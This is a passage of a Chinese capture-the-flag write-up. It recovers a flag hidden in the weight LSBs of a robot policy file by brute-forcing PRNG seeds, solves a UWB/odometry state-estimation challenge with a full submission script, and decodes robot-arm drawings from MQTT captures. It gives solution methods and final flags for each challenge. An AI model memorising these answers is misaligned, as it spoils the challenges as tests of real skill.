解出的字节流开头出现 LWM2 且后续为可打印 ASCII(严格判据:magic 偏移 ≤24 且其后 40 字节中 ≥20 个可打印字符—— 必须有 ASCII 判据 ,否则全量扫描会撞 4 字节随机碰撞的假阳性,实际就撞到一个);
crc32(flag) == 0x321c478c(与日志 stored CRC 对账,误报率 ~2⁻³²)。
脚本 5-1: brute4.py —— 独立种子第一轮(PCG64 全量 0..65535)
import h5py, numpy as np, zlib, sys
jm = open("joint_order.bin", "rb").read()
perm64 = np.frombuffer(jm[8:72], dtype=np.uint8)
inv64 = np.empty(64, np.uint8); inv64[perm64] = np.arange(64)
MAGIC = b"LWM2"
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
fl_C = (w0.view(np.uint32).ravel() & 1).astype(np.uint8)
packed_C = np.packbits(fl_C).tobytes()
def bits2bytes(bits):
b = np.asarray(bits, np.uint8).ravel(); n = len(b)//8*8
b = b[:n].reshape(-1, 8)
return (b*(1<<np.arange(7,-1,-1))).sum(1).astype(np.uint8).tobytes()
def battery(tag, bits): # magic(直接+perm/inv 重排) + (512,16) 平铺折叠
d = bits2bytes(bits); a = np.frombuffer(d, np.uint8)
for cand in (d, bytes(a[perm64]) if len(d) >= 64 else d,
bytes(a[inv64]) if len(d) >= 64 else d):
i = cand.find(MAGIC)
if i >= 0: print(f"[HIT] {tag} @{i}: {cand[i:i+80]}"); return True
if len(bits) >= 8192:
g = bits[:8192].reshape(512, 16)
for row in ((g.sum(1)*2 > 16).astype(np.uint8), (g.sum(1) % 2).astype(np.uint8)):
dd = bits2bytes(row); aa = np.frombuffer(dd, np.uint8)
for cand in (dd, bytes(aa[perm64]), bytes(aa[inv64])):
if MAGIC in cand: print(f"[HIT-TILE] {tag}: {cand[:80]}"); return True
return False
seeds = list(range(0, 65536)) + [0x4C574D32, 0x321c478c, zlib.crc32(jm), zlib.crc32(jm[8:]),
zlib.crc32(b"LWM2"), 1337, 2026, 42, 0xC0FFEE, 31337, ...]
for seed in seeds:
r = np.random.default_rng(seed)
p = r.permutation(8192) # 方法1:平面置换 gather/scatter
if battery(f"s{seed}/perm-g", fl_C[p]): break
if battery(f"s{seed}/perm-s", fl_C[np.argsort(p)]): break
c = np.random.default_rng(seed).integers(0, 2, 8192).astype(np.uint8) # 方法2:chips XOR
if battery(f"s{seed}/chips-int", fl_C ^ c): break
c = (np.random.default_rng(seed).random(8192) >= 0.5).astype(np.uint8) # 方法3
if battery(f"s{seed}/chips-rnd", fl_C ^ c): break
kb = np.random.default_rng(seed).bytes(1024) # 方法4:字节键流
x = bytes(a ^ b for a, b in zip(packed_C, kb))
if MAGIC in x: print(f"[HIT-BX] s{seed}: {x[:80]}"); break
...
# 全部 65536 种子无命中
脚本 5-2: brute7.py / brute8.py —— 多 RNG 家族 + 严格判据
brute8 覆盖 Generator(MT19937/Philox/SFC64)、RandomState、Python random 的 bytes/integers/permutation/randbytes × 大小端打包 × 严格 ASCII 判据,种子 0..65535 + magic——同样无命中(期间在 Philox seed=4100 撞到一个假阳性,靠 ASCII 判据排除)。
# brute8 核心:严格判据(防 4 字节随机碰撞)
def strict_hit(tag, d):
i = d.find(MAGIC)
while i >= 0:
if i <= 24 and sum(1 for x in d[i+4:i+44] if 32 <= x < 127) >= 20:
print(f"[STRICT-HIT] {tag} @{i}: {d[i:i+72]}"); return True
i = d.find(MAGIC, i + 1)
return False
脚本 5-3:辅助轮次(各自独立成脚本,全部无命中)
脚本 | 覆盖内容 |
|---|---|
brute9.py | integers 的 uint8/bool/int16/int32 dtype 变体、choice([0,1])、字节级 integers(0,256)、RandomState.randint/random_sample |
brute10.py | splitmix64、xorshift32/64、LFSR32、SHA-256/SHA-1/MD5 计数器键流 |
brute11.py | RC4(16 种密钥)、LCG(NR/glibc/Borland/MSVC 常数 × 13 种子) |
strseed.py | Python random.seed("LWM2") 等字符串种子(sha512 派生) |
carrier_key.py | 用模型自身其他层(w1/w2/vw/mean/std)的 LSB 平面当键流 |
selfkey.py | C 与自身移位/反转/转置异或(8191 种移位) |
jmtest.py | joint map 是否来自主流(各状态 permutation(64) 对账) |
replay6/7.py | 主流状态 A/F 上的行/列置换、dtype chips、permuted 等全部变体 |
脚本 5-4: bigseeds.py —— 文件派生大常数种子(命中!)
思路收束:种子不在 0..65535 里,那就在 检材自己派生出的 32 位常数 里(jm/元数据/魔数的 CRC 与哈希前缀、时间戳、大小端整数…):
import h5py, numpy as np, zlib, hashlib, random as pyrand, json
path = "ghost_policy.h5"
jm = open("joint_order.bin", "rb").read()
perm64 = np.frombuffer(jm[8:72], dtype=np.uint8)
inv64 = np.empty(64, np.uint8); inv64[perm64] = np.arange(64)
MAGIC = b"LWM2"; TARGET = 0x321c478c
with h5py.File(path, "r") as f:
w0 = np.array(f["policy/mlp0/w"])
meta = f["metadata"][()]
mj = json.loads(meta if isinstance(meta, bytes) else meta.encode())
C = (w0.view(np.uint32).ravel() & 1).astype(np.uint8)
packedC = np.packbits(C).tobytes()
def b2b(bits):
b = np.asarray(bits, np.uint8).ravel(); n = len(b)//8*8
b = b[:n].reshape(-1, 8)
return (b*(1<<np.arange(7,-1,-1))).sum(1).astype(np.uint8).tobytes()
def pr(d): return sum(1 for x in d if 32 <= x < 127)
def rep(tag, d): # magic + 严格 ASCII 判据
i = d.find(MAGIC)
while i >= 0:
if i <= 32 and pr(d[i+4:i+44]) >= 20:
print(f"[HIT] {tag} @{i}: {d[max(0,i-8):i+80]}"); return True
i = d.find(MAGIC, i+1)
return False
def battery(tag, x): # 直接 + (512,16)/(384,21) 折叠 + perm/inv 重排
d = b2b(x)
if rep(tag+"-dir", d): return True
a = np.frombuffer(d[:64].ljust(64, b'\0'), np.uint8)
if rep(tag+"-un", bytes(a[perm64])) or rep(tag+"-un", bytes(a[inv64])): return True
for shape in ((512,16), (384,21)):
g = x[:shape[0]*shape[1]].reshape(shape)
for nm, row in (("maj",(g.sum(1)*2>shape[1]).astype(np.uint8)),
("xor",(g.sum(1)%2).astype(np.uint8))):
dd = b2b(row); aa = np.frombuffer(dd.ljust(64,b'\0'), np.uint8)
for cand in (dd, bytes(aa[perm64]), bytes(aa[inv64])):
if rep(f"{tag}-{shape}-{nm}", cand): return True
return False
# 候选种子:各种文件派生 32 位常数(CRC / 哈希前缀 / 大小端整数 / 时间戳 …)
seeds = [0x324D574C, 0x4C574D32, 0x321c478c, 1793635800, 20261031,
zlib.crc32(mj["canary_b64"].encode()), zlib.crc32(meta),
zlib.crc32(b"GHOST-1 humanoid policy"), zlib.crc32(b"Lymotion Robotics"),
zlib.crc32(b"ghost_policy"), zlib.crc32(b"ghost_policy.h5"),
int(np.bitwise_xor.reduce(perm64)),
int.from_bytes(perm64[:4].tobytes(), 'little'), int.from_bytes(perm64[:4].tobytes(), 'big'),
int.from_bytes(hashlib.md5(b"LWM2").digest()[:4], 'big'),
int.from_bytes(hashlib.sha256(b"LWM2").digest()[:4], 'big'),
int.from_bytes(hashlib.sha256(jm).digest()[:4], 'big'), # ← 命中项
...]
def run_fams(seed): # 每 RNG 家族 × {bytes/integers/permutation/choice}
for fam, mk in (("PCG", lambda s: np.random.default_rng(s)),
("MT", lambda s: np.random.Generator(np.random.MT19937(s % 2**32))),
("Philox", lambda s: np.random.Generator(np.random.Philox(seed=s))),
("SFC", lambda s: np.random.Generator(np.random.SFC64(s)))):
r = mk(seed)
kb = r.bytes(1024)
if battery(f"{fam}{seed}-bytes",
np.unpackbits(np.frombuffer(bytes(a^b for a,b in zip(packedC, kb)), np.uint8))):
return True
r = mk(seed)
if battery(f"{fam}{seed}-int", C ^ r.integers(0, 2, 8192).astype(np.uint8)): return True
r = mk(seed)
p = r.permutation(8192)
if battery(f"{fam}{seed}-perm", C[p]): return True # ← PCG + permutation 命中
...
return False
for s in seeds:
if run_fams(s): break
命中输出:
[HIT] PCG2646664108-perm-dir @0: b'LWM2\x1cflag{LWMv2_j0intmap_pcg_lsb}2\x1cG\x8c...'
种子来源确认:
seed = int.from_bytes(hashlib.sha256(joint_order.bin).digest()[:4], "big") # = 2646664108
这正好解释了日志里 "joint map file not found … required for LWM-v2 scatter recovery" —— joint_order.bin 的 SHA-256 前缀就是散布种子 ,没有它就无法重构 permutation(8192)。
最终提取脚本(可复现)
import h5py, numpy as np, zlib, hashlib
jm = open("joint_order.bin", "rb").read()
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"]) # (128,64) float32,第一个 dense 层
# 1) 取 LSB 位平面(C 序 8192 bit)
lsb = (w0.view(np.uint32).ravel() & 1).astype(np.uint8)
# 2) 用 joint map 派生散布种子,重构散布置换
seed = int.from_bytes(hashlib.sha256(jm).digest()[:4], "big") # 2646664108
perm = np.random.default_rng(seed).permutation(8192) # PCG64
# 3) gather 后按 MSB-first 打包成字节
payload = np.packbits(lsb[perm]).tobytes()
# 4) 解析 LWM-v2 帧: magic | len(1B) | data | crc32(BE)
assert payload[:4] == b"LWM2"
n = payload[4]
data = payload[5:5+n]
crc = int.from_bytes(payload[5+n:5+n+4], "big")
assert zlib.crc32(data) == crc # 0x321c478c,与 telemetry 的 stored CRC 一致
print(data.decode())
输出与校验:
magic : b'LWM2' len : 28 data : flag{LWMv2_j0intmap_pcg_lsb} crc stored : 0x321c478c crc32(flag): 0x321c478c ✓
LWM-v2 协议复原图
payload = b"LWM2" + len(flag) + flag + crc32(flag) 大端4B (≤48B)
seed = SHA256(joint_order.bin)[0:4] 大端整数 (joint map = 密钥载体)
perm = np.random.default_rng(seed).permutation(8192) (PCG64 散布)
carrier = first dense layer (128×64) 权重 uint32 的 bit0 (LSB 平面)
嵌入 : carrier_lsb[perm[i]] = payload_bit[i](其余 LSB 由同位平面随机化覆盖)
提取 : lsb[perm] → packbits → 帧 → CRC 校验
Flag 内容 flag{LWMv2_j0intmap_pcg_lsb} 本身就是对方案的自我描述: j oint map 哈希做种子 → PCG 64 置换散布 → 权重 LSB 平面。
总结
• 金丝雀(base64 假 flag)是第一层过滤;
• 题面三行日志给出了协议的全部关键字段,其中 stored CRC 是最强的正确性 oracle;
• "只有 bit0 变、50% 翻转、空间均匀"三点一起把方案锁死为"整平面 PRNG 散布",排除了所有轻量级 LSB 套路;
• 生成流可重放(default_rng(42))证明了嵌入使用独立 RNG,把搜索空间从"无限"收敛为"种子派生方式";
• joint map 文件的真正作用是 SHA-256 前缀当种子 ——"required for scatter recovery" 的字面含义;
• 爆破时的两个教训:判据必须带"后续 ASCII"约束(否则会撞 4 字节随机碰撞的假阳性);位打包要同时试 MSB/LSB-first。
flag{LWMv2_j0intmap_pcg_lsb}

图 6 Ghost-in-the-Actuator 提取脚本运行结果(LWM2 + CRC32 校验通过)
7. Hollow Choir
基础知识
UWB 测距给距离,轮式里程计给相邻位姿的局部位移;两者要在同一坐标系里做图优化。位姿是 (x, y, theta),里程计的 (dx, dy) 在当前位姿体坐标系下,不能直接加到世界系,必须先按 theta 旋转再累加。
测距残差是 ||p_i - b_k|| - r,外点通常来自 NLOS 或多径。可以用硬阈值、鲁棒核或 RANSAC 分类内点,再用高斯-牛顿/Levenberg-Marquardt 或 scipy least_squares 求 MAP。判断轨迹是否可信要做留出测距的交叉验证,而不是只看内点 RMS。
一、题目信息
题目名称:Hollow Choir(状态估计:UWB 测距 + 轮式里程计)
目标地址:192.168.18.26:31337(TCP,单行 JSON)
实例规模:48 位姿 / 47 里程计边 / 104 测距 / 4 信标
提交限制:每实例 1 次;单行 ≤ 64 KiB;hello 后 TTL 900 s
最终 Flag:f37151c4e06847569f5eaf9eda224a27
二、协议与接入
服务端只接受 hello 与 submit 两种报文形状;多余字段、别名 key 一律返回 bad_request,且错误码无法区分具体原因。
请求 | 响应 | 说明 |
|---|---|---|
{"op":"hello"} | ok + 约 17 KB 实例 | 唯一取数入口;耗时 0.05–12 s |
help / info / status / submit | bad_request | 通用错误,无法区分 op 名或字段错误 |
{"op":"hello","x":1} | bad_request | 严格 schema,多余字段直接拒 |
新连接 + 旧 session | invalid_session | 会话与 TCP 连接绑定(本次实测) |
submit(48 轨迹 + 4 信标) | accepted | 唯一成功形状 |
• 同一连接连续 3 次 bad_request 后,第 4 次请求直接 EOF/ConnectionReset;探测新形状要换连接,单连接最多 3 发。
• hello 生成慢且有限速,失败按 8 s 退避重试;本次成功实例从 hello 到提交总耗时约 26 s。
• session 与 TCP 连接绑定:把旧 session 拿到新连接提交会返回 invalid_session,实例作废;hello、求解、submit 必须同一 socket。
• 提交坐标保留 6 位小数,payload 约 3.0 KB,远低于 64 KiB。
提交形状如下(轨迹覆盖 pose_id 0..47,信标按 beacon_ids 顺序):
{"op":"submit","session":"<token>","trajectory":[{"pose_id":0,"x":0.0,"y":0.0,"theta":0.0}],"beacons":[{"beacon_id":"tag-xxx","x":0.0,"y":0.0}]}
三、数据与建模
3.1 实例统计
首个实例(dca2511a46ce2fea393b)的统计如下:
项目 | 数值 |
|---|---|
位姿 / 里程计边 | 48(0…47)/ 47(0→1 … 46→47) |
测距观测 | 104 = 4 信标 × 26 |
每信标内点 / 外点 | 12 / 14 |
sigma_xy | 0.0081–0.0140 m |
sigma_theta | 约 0.0038 rad |
测距 sigma | 0.0281–0.0458 m |
内点最大 |残差| | 0.0413–0.0507 m |
外点最小 |残差| | 0.5680–1.0173 m |
3.2 里程计链
(dx,dy) 是当前位姿体坐标系下的位移,必须先旋转再累加:p_j = p_i + R(θ_i)·(dx,dy)^T,θ_j = θ_i + dθ。frame=local_odometry,取 pose 0 = (0,0,0) 作为固定规范。若把 (dx,dy) 直接当世界系相加,整条链会退化成近乎直线,测距残差立刻发散。
3.3 外点结构
对外点子集单独做鲁棒定位,只能部分收敛到次级位置(7–9/14,RMS 0.06–0.11 m),说明反射源不止一个或混有随机偏移,无法作为虚拟信标复用。内点与外点残差间隙接近一个数量级,因此用 0.15 m 硬阈值整条剔除;外点残差正负都有(最大到 2.9 m),不能用“实测距离一定不小于真实距离”的单边约束。
四、从 raw 到 MAP
4.1 第一次提交:raw 路径被拒
先按最直接的方案:raw 里程计积分作为轨迹,逐信标做截断 L1 网格 + 内点高斯牛顿定位信标,再提交。首个实例结果:内点 48/104、内点 RMS 0.0222 m,服务器返回 {"ok":true,"op":"submit","status":"rejected"}。该实例 sigma_xy 均值约 0.0111 m,47 步随机游走末端位置标准差约 sqrt(47)×0.0111≈0.076 m; sigma_xy≈0.0082、漂移约 0.056 m,可以 raw 通过。同一算法在不同噪声实例上的余量不同。
4.2 交叉验证:测距不支持 raw 轨迹
把每个信标的 12 条内点随机分成 6 训练 / 6 留出,共 40 组,比较 raw 与 MAP 对留出测距的预测误差。留出测距由真实几何生成,结果如下:
方法 | 留出 RMS (m) |
|---|---|
raw 积分 + 训练集信标 | 0.0343 ± 0.0018 |
MAP,w_odo=0.25 | 0.0224 |
MAP,w_odo=0.35 | 0.0218 |
MAP,w_odo=0.50 | 0.0217 |
MAP,w_odo=0.70 | 0.0224 |
MAP,w_odo=1.00 | 0.0240 |
MAP,w_odo=1.40 | 0.0261 |
MAP 明显优于 raw,说明真值轨迹不是 raw 积分,而是被里程计噪声扰动的平滑路径;w_odo<1 更好,与“报告测距 sigma 约为实际噪声的 1.7–1.8 倍”一致(raw 内点归一化 chi2/点仅 0.37)。最终取 w_odo=0.5。
4.3 MAP 模型
状态为位姿 1…47 的 (x,y,θ) 共 141 维 + 4 个信标 (x,y) 共 8 维;位姿 0 固定为 (0,0,0)。残差包括:里程计边 i→j 的位置残差 p_j−p_i−R(θ_i)(dx,dy) 与角度残差 θ_j−θ_i−dθ,按 sigma/w_odo 加权;内点测距残差 ||p_i−b_k||−r,按实例 sigma 加权;外点不进入残差。使用解析稀疏雅可比(COO)与 scipy.optimize.least_squares(method="trf"),149 个参数、189 条残差,单次求解不到 1 s。
MAP 把 raw 链的整体形变按测距几何重新分配:成功实例平均修正 3.57 cm、最大 6.48 cm,信标修正 2–5 cm;外点已被硬剔除,不是把轨迹拟合到外点。
五、复现结果
5.1 两次提交
# | 实例 | 方法 | 内点 | 内点 RMS | 结果 |
|---|---|---|---|---|---|
1 | dca2511a46ce2fea393b | raw 积分 + 鲁棒信标 | 48/104 | 0.0222 | rejected |
2 | 70789649b119800b6109 | MAP,w_odo=0.5 | 48/104 | 0.0105 | accepted |
第二次提交的原始响应:
{"flag":"f37151c4e06847569f5eaf9eda224a27","ok":true,"op":"submit","status":"accepted"}
提交时位置平均修正 3.57 cm、最大 6.48 cm;信标位移 [0.0230, 0.0504, 0.0169, 0.0491] m;payload 3057 B。
注意:每实例只有 1 次提交,无法在同一实例上做 raw/MAP 对照;MAP 的必要性由第一次 raw 被拒与 4.2 的留出交叉验证共同支撑。
5.2 踩坑记录
做法 | 结果 | 原因 |
|---|---|---|
raw 里程计积分 + 鲁棒信标(首个实例) | rejected | 实例 sigma_xy≈0.0111,47 步末端漂移约 7.6 cm,超出判定容差 |
raw 积分 + 世界系直接相加 | 测距残差立刻发散 | 体坐标位移未先旋转 |
高斯牛顿雅可比写成 (P−b)/r | 信标收敛到残差约 0.8 m 的垃圾点 | 梯度方向反了 |
Huber/soft-L1 软鲁棒损失 | 解被外点拉偏 | 外点残差 0.5–2.9 m,硬剔除更干净 |
复用旧 session 在新连接提交 | invalid_session | session 绑定 TCP 连接 |
MAP 使用 w_odo=1.0 | 可通过但留出误差更大(0.0240) | 报告测距 sigma 偏大约 1.7–1.8 倍 |
MAP 使用 w_odo=0.5 | accepted | 留出测距 RMS 最优(0.0217) |
六、完整 EXP
完整脚本如下,保存为 hollow_choir_exp.py 后直接 python3 hollow_choir_exp.py 运行。脚本在同一连接内完成 hello、鲁棒信标、内点分类、MAP 与 submit。
#!/usr/bin/env python3
import json
import socket
import time
import numpy as np
from scipy.sparse import coo_matrix
from scipy.optimize import least_squares
HOST, PORT = "192.168.18.26", 31337
W_ODO = 0.5 # 里程计权重(留出测距 CV 定出)
INLIER = 0.15 # 内点阈值 (m)
def hello():
for _ in range(6):
try:
s = socket.create_connection((HOST, PORT), timeout=15)
s.settimeout(120)
f = s.makefile("rwb")
f.write(b'{"op":"hello"}\n')
f.flush()
d = json.loads(f.readline())
if d.get("ok") and d.get("status") == "ready":
return s, f, d
print("hello not ready:", d, flush=True)
except Exception as e:
print("hello retry", type(e).__name__, e, flush=True)
time.sleep(8)
raise SystemExit("no hello")
def compose(N, edges):
X = np.zeros((N, 3))
for e in edges:
i, j = e["from"], e["to"]
th = X[i, 2]
c, s = np.cos(th), np.sin(th)
X[j, 0] = X[i, 0] + c * e["dx"] - s * e["dy"]
X[j, 1] = X[i, 1] + s * e["dx"] + c * e["dy"]
X[j, 2] = X[i, 2] + e["dtheta"]
return X
def beacon_grid(P, ri, cap=0.3, step=0.2, margin=30.0):
gx = np.arange(P[:, 0].min() - margin, P[:, 0].max() + margin, step)
gy = np.arange(P[:, 1].min() - margin, P[:, 1].max() + margin, step)
GX, GY = np.meshgrid(gx, gy)
D = np.hypot(GX[..., None] - P[:, 0], GY[..., None] - P[:, 1])
cost = np.minimum(np.abs(D - ri), cap).sum(-1)
k = np.unravel_index(np.argmin(cost), GX.shape)
return np.array([GX[k], GY[k]])
def beacon_refine(P, ri, b, thr=0.3, iters=50):
b = np.array(b, float)
for _ in range(iters):
r = np.linalg.norm(P - b, axis=1)
res = r - ri
inl = np.abs(res) < thr
if inl.sum() < 4:
break
J = (b - P[inl]) / r[inl, None]
db = np.linalg.solve(J.T @ J + 1e-9 * np.eye(2), -J.T @ res[inl])
b = b + db
if np.linalg.norm(db) < 1e-9:
break
return b
def classify(inst, X, B):
bids = inst["beacon_ids"]
rmeas, resid = [], []
for m in inst["measurements"]:
k = bids.index(m["beacon_id"])
res = np.linalg.norm(X[m["pose_id"], :2] - B[k]) - m["range"]
resid.append(res)
if abs(res) < INLIER:
rmeas.append((m["pose_id"], k, m["range"], m["sigma"]))
return rmeas, np.array(resid)
def make_problem(N, edges, rmeas, w_odo=1.0):
npz = (N - 1) * 3
nprm = npz + 4 * 2
def pidx(i, c):
return (i - 1) * 3 + c
def bidx(k, c):
return npz + k * 2 + c
def unpack(z):
X = np.zeros((N, 3))
X[1:] = z[:npz].reshape(-1, 3)
B = z[npz:].reshape(4, 2)
return X, B
def fun(z):
X, B = unpack(z)
res = np.empty(len(edges) * 3 + len(rmeas))
o = 0
for e in edges:
i, j = e["from"], e["to"]
th = X[i, 2]
c, s = np.cos(th), np.sin(th)
px = X[j, 0] - X[i, 0] - (c * e["dx"] - s * e["dy"])
py = X[j, 1] - X[i, 1] - (s * e["dx"] + c * e["dy"])
pt = X[j, 2] - X[i, 2] - e["dtheta"]
sx = e["sigma_xy"] / w_odo
st = e["sigma_theta"] / w_odo
res[o] = px / sx
res[o + 1] = py / sx
res[o + 2] = pt / st
o += 3
for m in rmeas:
pi, k, rng, sig = m
d = X[pi, :2] - B[k]
res[o] = (np.linalg.norm(d) - rng) / sig
o += 1
return res
def jac(z):
X, B = unpack(z)
rows, cols, vals = [], [], []
o = 0
for e in edges:
i, j = e["from"], e["to"]
th = X[i, 2]
c, s = np.cos(th), np.sin(th)
sx = e["sigma_xy"] / w_odo
st = e["sigma_theta"] / w_odo
if i > 0:
rows += [o, o]
cols += [pidx(i, 0), pidx(i, 2)]
vals += [-1 / sx, (s * e["dx"] + c * e["dy"]) / sx]
rows += [o]
cols += [pidx(j, 0)]
vals += [1 / sx]
if i > 0:
rows += [o + 1, o + 1]
cols += [pidx(i, 1), pidx(i, 2)]
vals += [-1 / sx, -(c * e["dx"] - s * e["dy"]) / sx]
rows += [o + 1]
cols += [pidx(j, 1)]
vals += [1 / sx]
if i > 0:
rows += [o + 2]
cols += [pidx(i, 2)]
vals += [-1 / st]
rows += [o + 2]
cols += [pidx(j, 2)]
vals += [1 / st]
o += 3
for m in rmeas:
pi, k, rng, sig = m
d = X[pi, :2] - B[k]
u = d / np.linalg.norm(d) / sig
if pi > 0:
rows += [o, o]
cols += [pidx(pi, 0), pidx(pi, 1)]
vals += [u[0], u[1]]
rows += [o, o]
cols += [bidx(k, 0), bidx(k, 1)]
vals += [-u[0], -u[1]]
o += 1
return coo_matrix((vals, (rows, cols)), shape=(o, nprm)).tocsr()
return fun, jac, unpack
def payload(session, X, B, bids):
traj = [{"pose_id": i, "x": round(float(X[i, 0]), 6),
"y": round(float(X[i, 1]), 6),
"theta": round(float(X[i, 2]), 6)} for i in range(len(X))]
beac = [{"beacon_id": b, "x": round(float(B[i, 0]), 6),
"y": round(float(B[i, 1]), 6)} for i, b in enumerate(bids)]
return {"op": "submit", "session": session, "trajectory": traj, "beacons": beac}
def main():
s, f, d = hello()
inst = d["instance"]
N = inst["pose_count"]
bids = inst["beacon_ids"]
edges = sorted(inst["odometry"], key=lambda e: e["from"])
X = compose(N, edges)
B = np.zeros((len(bids), 2))
for k, b in enumerate(bids):
sel = [m for m in inst["measurements"] if m["beacon_id"] == b]
pi = np.array([m["pose_id"] for m in sel])
ri = np.array([m["range"] for m in sel], float)
B[k] = beacon_refine(X[pi, :2], ri, beacon_grid(X[pi, :2], ri))
rmeas, resid = classify(inst, X, B)
inl = np.abs(resid) < INLIER
print("inliers", int(inl.sum()), "/", len(resid), flush=True)
fun, jac, unpack = make_problem(N, edges, rmeas, W_ODO)
z0 = np.concatenate([X[1:].ravel(), B.ravel()])
sol = least_squares(fun, z0, jac=jac, method="trf",
xtol=1e-12, ftol=1e-12, gtol=1e-12, max_nfev=200)
Xm, Bm = unpack(sol.x)
print("map shift", np.linalg.norm(Xm[:, :2] - X[:, :2], axis=1).mean().round(4),
flush=True)
line = json.dumps(payload(d["session"], Xm, Bm, bids), separators=(",", ":"))
f.write((line + "\n").encode())
f.flush()
print("payload", len(line), "B", flush=True)
print("RESP", f.readline().decode().strip())
if __name__ == "__main__":
main()
脚本先按体坐标系里程计链合成初始轨迹,逐信标做截断 L1 网格与高斯牛顿定位,再按 0.15 m 阈值分类内点并构造里程计+测距联合 MAP,最后在同一 TCP 连接上提交 48 个位姿与 4 个信标。
七、Flag
提交脚本实际输出与服务器 accepted 响应如下(终端输出;长行按终端宽度换行显示):

Flag:f37151c4e06847569f5eaf9eda224a27
8. Last-Gesture
基础知识
pcapng 里的 MQTT 是发布/订阅协议,先按 topic 和 payload 还原控制指令与编码器读数。平面两连杆机械臂的正运动学由两个关节角和连杆长度决定末端位置;编码器计数要先除以分辨率、再映射到角度,还要处理零点和方向。
题目的“笔迹”不是直接图片,而是按时间排列的关节状态经过运动学得到的轨迹。识别字形要先做笔画/状态机分段,再处理单线字体的同形字(O/0、S/5)和 leetspeak 歧义;最终提交的是从网络记录恢复出的文本,不是猜测的图片。
一、题目信息
题型 Misc,分值 100,附件 last_gesture.pcapng(10,409,416 字节,另有内容完全相同的 zip)。
题面:断电前,平面两连杆机械臂 MUSE-07 留下了最后一幅笔迹。请从网络记录还原实际绘制的内容,并提交其中的 flag。flag 格式为 flag{...}。
二、流量概览:有效信息全在 MQTT 里
pcapng 结构很干净:1 个 SHB、1 个 IDB(Ethernet,snaplen 0x400000,if_tsresol=6 即微秒)、72,561 个 EPB,块长度累加恰好等于文件长度,无包注释、无隐藏块。抓包区间约 605 秒。
除 ARP(6)、DHCP(6 组)、mDNS(3)、NTP(2)这些环境噪声外,业务流量全部是 TCP/1883 的 MQTT,共 3 个客户端 + 1 个 broker:
角色 | 地址 / 端口 | MQTT client id |
|---|---|---|
broker | 192.168.125.21:1883 | — |
示教端 | 192.168.125.132:59160 | phone-teach-bridge-4a77099a |
控制器 | 192.168.125.188:39136 | MUSE-07-controller-bb0b6c44 |
诱饵设备 | 192.168.125.38:56802 | zone7-environment-30a2ffee |
主题只有 muse/MUSE-07/cmd、/joint、/ack、/job、/meta;cmd 共 2,173 条,其中 2,167 条是 move(1,458 条 tool=DOWN、709 条 tool=UP),另有 3 次 begin、1 次 cancel、1 次 commit。诱饵设备那 48 条 building/zone7/telemetry 与本题无关。
关键点:cmd 报文里没有坐标,只有一个随机 12 位十六进制的 waypoint_ref(2,167 个全部唯一、不可逆),目标位置必须从 joint 遥测反算。
三、把编码器读数还原成毫米
meta 保留消息给出了标定参数:link1_mm=160、link2_mm=140、ticks_per_rev=16384、zero1=zero2=8192、units=millimetres。据此写出平面两连杆正运动学:
theta_i = (encoder_i - 8192) * 2*pi / 16384
x = 160*cos(theta1) + 140*cos(theta1+theta2)
y = 160*sin(theta1) + 140*sin(theta1+theta2)
四、陷阱一:joint 遥测是乱序的,且一条指令有多个采样
joint 报文形如 {"command_seq":11345,"encoder1":10194,"encoder2":7355,"seq":44219,"settled":true},其中 command_seq 才是与 cmd 的对应关系,seq 只是 MQTT 流内计数。若按抓包时间戳或 seq 连线,轨迹会被撕成随机线段。
正确做法:以 command_seq 分组,每组只取 settled:true 的那一条(其余 settled:false 是运动过程中的中间采样),最后按 cmd.seq 排序(ack 存在 525 处时间戳逆序,不能用时间戳配对)。统计上 2,167 条 move 指令每条恰好 1 个 settled 采样 + 2~3 个 unsettled。
groups = {}
for m in joint_msgs:
if m['settled']:
groups[m['command_seq']] = (m['encoder1'], m['encoder2'])
pts = [(cs, fk(*groups[cs])) for cs in sorted(groups)]
五、陷阱二:同一份轨迹发了两遍,一半被工具互锁拦下
主作业 job-73a26c383e 的汇总为 accepted_moves=708、rejected_moves=708、processed_moves=1416,即 1416 = 708 + 708。ack 中 accepted=false 的全部是 reason=tool_interlock、state=AXES_ONLY:工具轴(笔)被互锁,轴仍会走位,但笔不会落墨。
把 42 个笔画拆成两套后做孪生配对,结论很干净:18/21 对孪生笔画的逐点平均偏差只有 0.04~0.08 mm(编码器噪声量级),只有第 5、6、7 个字符位置真的画了不同的字(偏差 1.32 / 2.37 / 0.67 mm)。且同一笔中被拒的那次 seq 总是更小,说明它是先发的、随后重试。
两套分别渲染:accepted 那套读作 FLAG{GOAT_MOV3S},rejected 那套读作 FLAG{GOAT_G4M3S}(后者是出题人准备的假 flag)。

图 1 (a) accepted 意图(TEACHING);(b) rejected 意图(AXES_ONLY,假 flag);(c) 按笔状态机重放的物理墨迹
六、物理墨迹:笔其实一直没抬起来
再追一层物理真相:笔的状态只由 tool 命令改变,而 tool_interlock 连 UP 也一起拒绝。于是每个笔画块(rej UP, rej DOWN, acc UP, acc DOWN)的边界处笔都停在 DOWN,整个主作业里笔几乎从未抬起。按笔状态机重放 1416 条指令,得到 1020 个落墨点,其中 375 个来自 accepted、667 个来自 rejected,另外还有 21 根从字面甩向 (145, -34) 停靠点的拖线。这解释了纸上为什么同时存在两套笔画和一些长尖刺。
顺带排除了大量干扰项:duration_ms 是 32~78 的整数且与位移相关性 -0.03、waypoint_ref 是 48 位随机数、所有 seq 连续无缺口、joint 的 unsettled 采样、IP ID/TTL/窗口、TCP 选项、MQTT packet id 都不是信道;被取消的光栅作业 job-2f32c03279 是“画横线 + 打叉”的废纸涂鸦,自检作业 job-3924b3bb07 只是一个停车点。
七、读字:21 笔 → 16 个字形,以及字体层的歧义
按 x 方向切分 42 个 DOWN 段,正好聚成 16 个字形,笔画数合计 21 笔,与字形一一对应:F2 L1 A2 G1 {1 / G1 O1 A2 T2 _1 / M1 O1 V1 3:2 S1 }1。

图 2 16 个字形特写(accepted 渲染)
但“读成什么字符串”还有字体层的坑:这套单线字体里,大写字母 O(第 7、12 个字符)与数字 0 被画成了同一个八边形(宽 129 px,墨点数 6711 与 6681,像素级同形),大写字母 S 与数字 5 也共用同一笔画;而 4(117 px)、3(128 px)确实是独立的数字字形。也就是说,图上读到的 FLAG{GOAT_MOV3S} 在字符串空间里等价于 {GOAT, G0AT} × {MOV3S, M0V3S} × 大小写/leetspeak 的一族。
八、Flag截图
最终答案为:
flag{g0at_m0v35}

图 3 机械臂实际画出的字(accepted 渲染)
九、相关代码
